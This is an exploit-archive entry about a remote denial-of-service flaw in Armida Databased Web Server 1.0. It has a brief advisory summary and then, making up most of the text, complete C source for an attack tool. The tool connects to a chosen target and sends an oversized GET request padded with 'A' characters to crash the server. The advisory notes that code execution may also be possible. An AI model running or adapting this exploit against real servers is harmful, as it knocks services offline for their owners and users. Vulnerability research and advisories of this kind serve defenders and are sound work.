Armida Databased Web Server 1.0 - Remote GET Request Denial of Service Vulnerability

source: http://www.securityfocus.com/bid/8017/info Armida Databased Web Server is reportedly prone to a remote denial of service when process malicious GET requests. The problem occurs when processing requests containing excessive data. Exploitation of this vulnerability would result in the remote service crashing. Although unconfirmed, due to the nature of this vulnerability it may be possible to supply and execute arbitrary code. /************************************************************** * * Denial of Service Attack against Armida Web Server v1.0 * * Tripbit Security Development * ---------------------------- * * Author: posidron * * Contact * [-] Mail: posidron@tripbit.org * [-] Web: http://www.tripbit.org * [-] Forum: http://www.tripbit.org/wbboard * [-] IRC: irc.euirc.net 6667 #tripbit * * Greets: #csec, #securecrew, #tripbit * **************************************************************/ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> int main(int argc, char *argv[]) { int port, sockfd; struct sockaddr_in server; struct hostent *host; char send[6915], flood[6900]; char get[3] = "GET", http[12] = "HTTP/1.0\n\n"; memset(flood, 'A', 6900); strcpy(send, get); strcat(send, flood); strcat(send, http); if(argc < 3) { printf("Usage: %s [target] <port>\n", argv[0]); exit(0); } port = atoi(argv[2]); host = gethostbyname(argv[1]); if(host == NULL) { printf("Connection failed!...\n"); exit(0); } server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr((char*)argv[1]); printf("DoS against Armida v1.0\n"); if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("Can't start socket()!\n"); exit(0); } if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0) { printf("Can't connect!\n"); exit(0); } write(sockfd, send, strlen(send)); printf("Attack done!...\n"); close(sockfd); }
